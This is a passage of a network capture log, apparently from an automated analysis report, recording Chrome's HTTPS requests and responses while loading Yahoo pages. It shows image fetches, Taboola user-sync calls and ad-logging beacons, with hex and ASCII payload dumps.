2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 74 71 5c 5c 5c 22 3a 66 61 6c 73 65 2c 5c 5c 5c 22 69 73 46 72 65 65 46 6f 72 6d 41 6e 73 77 65 72 5c 5c 5c 22 3a 66 61 6c 73 65 2c 5c 5c 5c 22 65 78 63 6c 75 73 69 76 65 5c 5c 5c 22 3a 66 61 6c 73 65 7d 2c 7b 5c 5c 5c 22 74 65 78 74 5c 5c 5c 22 3a 5c 5c 5c 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 5c 5c 5c 22 2c 5c 5c 5c 22 69 6e 64 65 78 5c 5c 5c 22 3a 2d 31 2c 5c 5c 5c 22 70 69 78 65 6c 5c 5c 5c 22 3a 32 30 38 35 31 39 35 34 2c 5c 5c 5c 22 6c 61 73 74 71 5c 5c 5c 22 3a 66 61 6c 73 65 2c 5c 5c 5c 22 69 73 46 72 65 65 46 6f 72 6d 41 6e 73 77 65 72 5c 5c 5c 22 3a 66 61 6c 73 65 2c 5c 5c 5c 22 65 78 63 6c 75 73 69 76 65 5c 5c 5c 22 3a 66 61 6c 73 65 7d 2c 7b 5c 5c 5c 22 74 65 78 74 5c 5c 5c 22 3a 5c 5c 5c 22 53 6f 75 74 68 20 41 6d 65 72 69 63 61 5c 5c 5c Data Ascii: tq\\\":false,\\\"isFreeFormAnswer\\\":false,\\\"exclusive\\\":false},{\\\"text\\\":\\\"North America\\\",\\\"index\\\":-1,\\\"pixel\\\":20851954,\\\"lastq\\\":false,\\\"isFreeFormAnswer\\\":false,\\\"exclusive\\\":false},{\\\"text\\\":\\\"South America\\\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49923	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	616	OUT	GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	787	IN	HTTP/1.1 200 OK x-amz-id-2: 7SAcC4rzNW8by52iCs5tYFReIZN4B3lz/99hRbid+9lKhBnhNDBBvBRf+CfLX1hhf6VmCOuTPLI= x-amz-request-id: 6YSNQARKWQZEE5T4 Date: Wed, 10 Jan 2024 23:03:48 GMT Last-Modified: Fri, 07 May 2021 10:32:24 GMT ETag: "c2396079060a7028fa898a73b72aa592" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 2986 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1407 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 29 00 00 01 4a 08 03 00 00 00 b7 a9 86 84 00 00 02 6a 50 4c 54 45 00 00 00 49 49 59 97 9e a9 9e aa aa ff ff ff 1e 23 29 45 82 f9 5c 65 6c 1f 22 29 ff ff ff 5c 64 6b 21 77 ed 10 6a ff ff ff ff 0f 6a ff 10 6a ff 27 2f 3b 00 3a bd ff ff ff 00 3b bc ff ff ff 0f 69 ff ff ff ff 10 69 ff ff ff ff 23 2b 31 24 2c 34 10 6a ff ff ff ff ff ff ff ff ff ff ff ff ff 0f 69 ff 24 2b 33 ff ff ff 00 3b be 00 3a bd 23 2a 32 0f 69 ff 00 3b bd 23 2b 32 00 3b be ff ff ff 10 6a ff ff ff ff 0f 6a ff 11 6a ff 16 6d ff 0f 69 ff ff ff ff ff ff ff 13 6c eb 00 3a bd 98 9f a9 23 2b 32 23 2b 31 5c 64 6a 1f 23 29 10 6a ff 0f 6b ff 0f 6b ff 23 28 2f 11 6c ff 26 2d 35 00 3b be 12 6e ff 18 6e ff ff ff ff 2a 2a 37 ff ff ff 10 6a ff 00 Data Ascii: PNGIHDR)JjPLTEIIY#)E\el")\dk!wjjj'/;:;ii#+1$,4ji$+3;:#2i;#+2;jjjmil:#+2#+1\dj#)jkk#(/l&-5;nn*7j
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 75 96 90 5f 6e 91 49 41 65 fa e8 16 be 29 38 07 35 95 b0 c8 c8 30 33 ae d5 fa 38 4a e3 d6 b7 42 e1 de a3 d4 c8 d1 bd 58 cf 85 d4 9b 42 e4 0c b6 d3 ca 6c 97 cb 70 21 c3 e5 72 8a 90 53 e4 b2 a1 90 0d ff cb 9f 97 83 9c 83 aa 4b 71 40 24 92 1d 89 ac 26 c5 01 91 10 b6 23 a4 9a 14 07 44 c6 b3 1d f3 02 c9 79 ac 32 de 57 2e 60 3b ca 78 65 9a 90 d3 80 a5 8c 55 16 80 6f 9c 94 8e e3 e5 2c 21 67 01 cb 38 4a 9d e0 17 87 f7 7a 9c 23 e4 1c ef f5 ea f0 97 79 94 da fa 7f 6f 54 34 d9 df 46 69 9e bf ec c8 8e 8d e5 95 f8 e3 1e 38 c3 f8 bf b1 ac d6 b1 fa 6d 61 f3 4c 47 b1 c3 e9 74 14 7b 26 cf 16 e0 26 09 b1 53 1a 15 0f 7e 89 8f a2 d4 1e 52 55 1a 1d 4d de eb 77 eb 4f 36 4e a9 5a c2 66 b0 fd 99 db c3 2a b7 b7 67 f2 d3 0d 74 d7 27 14 1a 2b 93 d7 d1 18 61 9e b1 5a 85 09 10 28 d6 Data Ascii: u_nIAe)85038JBXBlp!rSKq@$&#Dy2W.`;xeUo,!g8Jz#yoT4Fi8maLGt{&&S~RUMwO6NZf*gt'+aZ(
2024-01-10 23:27:14 UTC	386	IN	Data Raw: ef 29 c6 67 c6 45 ca 64 b8 f8 c8 fd 96 be 96 8d da e6 10 1b 71 d9 12 19 49 07 89 8d c2 4c a9 5c 27 36 1c 0d 65 73 64 9b e6 73 26 b2 de 61 0d dd 25 5e 0f 48 67 74 9e 2d 2a 01 8c 8c 77 66 c6 4b 20 6f 69 59 19 2f cf 38 69 76 18 48 73 c7 4e 33 b3 0b 9d d4 e9 a0 63 10 3a 6f 4c 1c b5 1f 5d 7f d0 1a 8e 52 08 8b 5f c0 0b 41 91 fc 28 3d 09 26 e9 1a 7b 02 98 0c 02 fb e5 e6 f6 93 0b f1 cc 27 1e f6 f0 07 fd 5c 33 b2 39 97 cd 6b 43 2a fd 84 ec a7 c8 64 89 f6 f2 bb 7c a9 95 c8 5f 85 b4 fb 2e db c9 df 88 3c d3 1e 42 11 97 45 f0 50 7b 26 93 6a 8f 2c 45 5d a9 69 2b 55 25 ab 87 0a f2 ee ef 01 94 97 03 dc 43 5f c7 c4 68 31 ed 14 a5 1d 2b d0 79 da c6 1e c9 d9 df 36 05 d0 1c 28 ba 75 ab e8 00 d4 64 36 0e 37 b2 11 97 25 cd 8d 94 80 89 74 0d 0d ed 0a a6 e0 24 42 26 99 a2 a1 66 Data Ascii: )gEdqIL\'6esds&a%^Hgt-wfK oiY/8ivHsN3c:oL]R_A(=&{'\39kCd\|_.<BEP{&j,E]i+U%C_h1+y6(ud67%t$B&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49922	151.101.1.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	507	OUT	GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1 Host: api.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:14 UTC	960	IN	HTTP/1.1 200 OK Connection: close Server: nginx Content-Type: application/json;charset=utf-8 P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Set-Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:14 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:14 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:14 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-iad-kcgs7200170-IAD X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929234.187422,VS0,VE21 Vary: Accept-Encoding X-vcl-time-ms: 21 transfer-encoding: chunked
2024-01-10 23:27:14 UTC	4	IN	Data Raw: 35 34 0d 0a Data Ascii: 54
2024-01-10 23:27:14 UTC	84	IN	Data Raw: 7b 22 75 73 65 72 22 3a 7b 22 69 64 22 3a 22 35 33 63 35 63 33 39 62 2d 30 32 66 34 2d 34 64 65 61 2d 38 39 39 39 2d 39 37 36 35 33 31 64 30 66 39 39 32 2d 74 75 63 74 63 39 38 61 64 35 31 22 2c 22 69 73 4e 65 77 55 73 65 72 22 3a 66 61 6c 73 65 7d 7d Data Ascii: {"user":{"id":"53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51","isNewUser":false}}
2024-01-10 23:27:14 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49921	151.101.129.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	671	OUT	GET / HTTP/1.1 Host: tsdtocl.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	593	IN	HTTP/1.1 200 OK Connection: close Content-Length: 786 x-amz-id-2: lIS9Vc8jhEbeWcw7sOr0N/4q32n89+r4Y7NN5DuKx5drrbqul4Uo+tQKOhfYPI5yo/Ybwx2GfXQ= x-amz-request-id: KRPD3NXNDHFQRDJD x-amz-replication-status: COMPLETED Last-Modified: Wed, 05 Jan 2022 19:36:57 GMT ETag: "fb5a4594b9ffef704d61bb6e6f80f145" x-amz-version-id: Qk4nobcRRphLiqVWi0NeSs0dand8kap0 Content-Type: text/html Server: AmazonS3 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:14 GMT Via: 1.1 varnish Age: 88 X-Served-By: cache-lga21929-LGA X-Cache: HIT X-Cache-Hits: 39 X-Timer: S1704929234.176132,VS0,VE0
2024-01-10 23:27:14 UTC	786	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 3e 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 74 73 64 74 6f 63 6c 22 2c 74 3d 22 21 2d 23 40 22 2c 61 3d 32 3b 74 72 79 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 74 28 61 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 2e 6e 61 6d 65 73 70 61 63 65 3d 65 2c 6e 2e 69 64 3d 61 2c 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6e 29 2c 22 2a 22 29 2c 6e 7d 2c 72 3d 66 75 6e 63 74 69 6f 6e 20 65 28 72 2c 73 2c 63 29 7b 74 72 79 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 63 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 7c 7c 76 6f 69 64 20 30 3d 3d 3d 73 29 74 68 72 6f 77 20 30 3b 76 61 72 20 69 3d Data Ascii: <!doctype html><html><head><script>!function(){var e="tsdtocl",t="!-#@",a=2;try{var n=function t(a,n){return n.namespace=e,n.id=a,parent.postMessage(JSON.stringify(n),"*"),n},r=function e(r,s,c){try{if(void 0===c\|\|void 0===r\|\|void 0===s)throw 0;var i=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49917	23.44.133.19	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	2496	OUT	GET /log?logid=kfk&evtid=belog&itype=YHB&tElp=799&adt=desktop&cid=8YHBJ3BJ0&ct=WASHINGTON&cc=US&ugd=4&app=0&pht=907&pid=8PR6KY355&dn=yahoo.com&servname=ssp-serving-yin-788cfd57b6-7p4h8&svr=264_91_101_ssp&sc=DC&version=4&vh=907&vw=1280&vsid=&vid=00001704929231786017221018029886&sspAbBucket=CONTROL&lw=1&dapp=green&nob=&bx_dc=sc&itypeid=84&sd=-1&adbd=0&npa=0&gdpr=0&csstr=&tcf_cmp=14&tcf_status=loaded&tcf_prp=0000--0&suc=0&tcf_api=1&tcf_gdpr=0&usp_enf=1&usp_status=0&usp_ldf=&usp_string=1YNN&ufca=13&coppa_status=&coppa_applied=&id_details=&gpp_present=1&gpp_dec_sid%3C%3E=&gpp_sid%3C%3E=-1&uspca_status=-----------&uspco_status=-----------&uspct_status=-----------&uspnat_status=-----------&usput_status=-----------&uspva_status=-----------&abte=SSP_CLIENT&rtype=&lbr=1&mnkv=&pabte=&pc=&ccat=&floc_id=&floc_ver=&gfundl=&gtd=400&inid=&ngfundl=1400&rdl=1400&r_tim%3C%3E=3821649&pubdpa=2&name=DFS_PERF&stack=%7B%22name%22%3A%22https%3A%2F%2Fhb.yahoo.net%2Fss%2Fnes%2Fdfs%3Fitype%3DYHB%26type%3D1%26cid%3D8YHBJ3BJ0%26dn%3Dwww.yahoo.com%26cc%3DUS%26ugd%3Ddesktop%26callback%3Dwindow.advBidxc.pf_rtd%22%2C%22entryType%22%3A%22resource%22%2C%22startTime%22%3A4534.799999999988%2C%22duration%22%3A713.3000000000175%2C%22initiatorType%22%3A%22link%22%2C%22deliveryType%22%3A%22%22%2C%22nextHopProtocol%22%3A%22http%2F1.1%22%2C%22renderBlockingStatus%22%3A%22non-blocking%22%2C%22workerStart%22%3A0%2C%22redirectStart%22%3A0%2C%22redirectEnd%22%3A0%2C%22fetchStart%22%3A4534.799999999988%2C%22domainLookupStart%22%3A4644.399999999994%2C%22domainLookupEnd%22%3A4645%2C%22connectStart%22%3A4645%2C%22secureConnectionStart%22%3A4656.100000000006%2C%22connectEnd%22%3A4992.1999999999825%2C%22requestStart%22%3A4992.299999999988%2C%22responseStart%22%3A5212.100000000006%2C%22firstInterimResponseStart%22%3A0%2C%22responseEnd%22%3A5248.100000000006%2C%22transferSize%22%3A11876%2C%22encodedBodySize%22%3A11576%2C%22decodedBodySize%22%3A11576%2C%22responseStatus%22%3A0%2C%22serverTiming%22%3A%5B%5D%7D&lvl=3&crid=&pvid=&dfpDiv=&liid=&dfpBd=&acid=&rctr=&sz=&t_cntdwn=&t_ciel=&ebuid=&lper=1&requrl=https%3A%2F%2Fwww.yahoo.com%2F&kwrf= HTTP/1.1 Host: lg1.hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:14 UTC	318	IN	HTTP/1.1 200 OK Content-Type: image/gif Access-Control-Allow-Origin: * Content-Length: 35 Expires: Wed, 10 Jan 2024 23:27:14 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:14 GMT Connection: close Strict-Transport-Security: max-age=86400 ; includeSubDomains
2024-01-10 23:27:14 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49920	23.44.133.19	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	1415	OUT	GET /log?logid=kfk&evtid=belog&itype=YHB&tElp=796&adt=desktop&cid=8YHBJ3BJ0&ct=WASHINGTON&cc=US&ugd=4&app=0&pht=907&pid=8PR6KY355&dn=yahoo.com&servname=ssp-serving-yin-788cfd57b6-7p4h8&svr=264_91_101_ssp&sc=DC&version=4&vh=907&vw=1280&vsid=&vid=00001704929231786017221018029886&sspAbBucket=CONTROL&lw=1&dapp=green&nob=&bx_dc=sc&itypeid=84&sd=-1&adbd=0&npa=0&gdpr=0&csstr=&tcf_cmp=14&tcf_status=loaded&tcf_prp=0000--0&suc=0&tcf_api=1&tcf_gdpr=0&usp_enf=1&usp_status=0&usp_ldf=&usp_string=1YNN&ufca=13&coppa_status=&coppa_applied=&id_details=&gpp_present=1&gpp_dec_sid%3C%3E=&gpp_sid%3C%3E=-1&uspca_status=-----------&uspco_status=-----------&uspct_status=-----------&uspnat_status=-----------&usput_status=-----------&uspva_status=-----------&abte=SSP_CLIENT&rtype=&lbr=1&mnkv=&pabte=&pc=&ccat=&floc_id=&floc_ver=&gfundl=&gtd=400&inid=&ngfundl=1400&rdl=1400&r_tim%3C%3E=3821649&pubdpa=2&name=DFST&stack=NONE&lvl=3&crid=&pvid=&dfpDiv=&liid=&dfpBd=&acid=&rctr=&sz=&t_cntdwn=&t_ciel=&ebuid=&lper=1&requrl=https%3A%2F%2Fwww.yahoo.com%2F&kwrf= HTTP/1.1 Host: lg1.hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:14 UTC	318	IN	HTTP/1.1 200 OK Content-Type: image/gif Access-Control-Allow-Origin: * Content-Length: 35 Expires: Wed, 10 Jan 2024 23:27:14 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:14 GMT Connection: close Strict-Transport-Security: max-age=86400 ; includeSubDomains
2024-01-10 23:27:14 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49919	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	671	OUT	GET /cksync.php?cs=1&type=mn&ovsid=3479308330180239000V10&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:14 UTC	664	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mn=3479308330180239000V10~~1;Expires=Mon, 08 Jul 2024 23:27:14 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:14 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:14 GMT Connection: close
2024-01-10 23:27:14 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:14 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49926	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	752	OUT	GET /uu/api/res/1.2/7k_5EgstRC3hBqjwh10Fsw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/0835551b5ac06413bd0f5c694c81d5ce.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	1291	IN	HTTP/1.1 200 OK Content-Length: 12954 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 231212391546933600146155394615175331741,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="0835551b5ac06413bd0f5c694c81d5ce.webp" Edge-Cache-Tag: 231212391546933600146155394615175331741,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "3db503c67d9b8cd1ec84e5fdcc65eb90" Last-Modified: Wed, 10 Jan 2024 18:12:39 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=12954,owidth=1692,oheight=1128,obytes=206131,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 156159e13846e9c8b63a51393820176a Accept-Ranges: bytes Date: Wed, 10 Jan 2024 18:12:39 GMT X-Served-By: cache-lga21956-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704910358.467181,VS0,VE721 Age: 18878 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 156159e13846e9c8b63a51393820176a cld_by: cache-lga21956-LGA cld_latency: 721 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:14 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 52 49 46 46 92 32 00 00 57 45 42 50 56 50 38 20 86 32 00 00 90 33 01 9d 01 2a 18 02 1c 01 3e 79 36 97 48 24 a2 a7 a5 a3 d2 8d b8 f0 0f 09 65 6d eb 39 29 80 a0 5f a6 50 eb 8f 67 47 50 2f 3f 58 be 4f 4b 9d ce 94 78 23 ec a3 ea 4b fb 77 a4 af a7 3f 57 f8 ac de ba bf d6 bd 60 3c ed ab 06 f9 c5 fd 3f 12 fd 23 8e 1d af e4 18 70 b8 f6 7e 34 64 ad 4a 69 fe 87 98 3b ec bf 75 4b 77 5f 8b 22 a3 ed 76 66 95 81 20 bf f9 d1 88 1c fe f0 cf 22 7a 90 9e 9e 1a 21 13 5d a1 90 32 3e de 3a 0e af 2a 24 5e c1 a9 3c 1c ab a0 66 14 5a e4 0e ae fc eb 13 ec 88 35 22 a4 ea 9f 17 f4 7a fc 37 2b c0 62 ba be 78 aa 5a 99 9a d0 d4 86 4d 01 71 c7 f2 67 10 cf ec 8e e1 64 05 52 19 29 8e 53 97 1f 82 83 d7 28 2c b3 10 c0 2a 8c e7 a6 2d 64 bb 39 39 66 59 6b 99 50 32 78 37 60 8c 31 3f 85 dc 06 Data Ascii: RIFF2WEBPVP8 23>y6H$em9)_PgGP/?XOKx#Kw?W`<?#p~4dJi;uKw_"vf "z!]2>:$^<fZ5"z7+bxZMqgdR)S(,*-d99fYkP2x7`1?
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: ec 8b 68 15 dd 99 78 c0 18 76 fd d9 23 49 f1 69 09 c3 a3 3f 7f 33 f5 29 ba 8a 31 62 74 f1 6d d0 dd f5 fe 93 19 db df 9e f0 02 e6 8c 3d bb 6b 83 f9 38 9e 14 e1 8e c2 48 d0 f9 d1 6f 56 88 9c c6 11 e9 a3 2f c4 c0 46 30 c9 eb 0a db 6e 60 cc 96 50 6a 48 ed 17 0a 07 80 5b c1 26 d1 23 05 cb 58 a6 02 69 18 f1 e3 b8 07 3d 08 7c b8 55 2d 43 32 99 06 f7 7f 26 b7 71 c6 b1 9b 89 d5 03 ad 8f 69 21 08 c0 c3 dd 41 dc 7f c4 3e 75 ac 23 57 f1 98 01 f3 30 2e b9 2d 19 04 22 b6 86 bf a7 9a 40 14 26 23 bb fe 05 40 6b ad 2d 6b bb 32 e3 74 ba 85 fb fc 61 e7 78 66 df e8 75 20 33 23 c0 38 b2 9b 41 6d 25 30 ec 74 e4 ee 08 b2 5b c3 d3 ed f0 db a6 d5 ce 72 ae 01 5f c9 20 15 bf 1d 0b 71 be d8 92 d4 44 47 8f c8 b6 cf 88 19 ce bd 3b 97 da 53 d6 48 f5 08 40 79 77 38 3f 32 b2 5f be 1b e4 Data Ascii: hxv#Ii?3)1btm=k8HoV/F0n`PjH[&#Xi=\|U-C2&qi!A>u#W0.-"@&#@k-k2taxfu 3#8Am%0t[r_ qDG;SH@yw8?2_
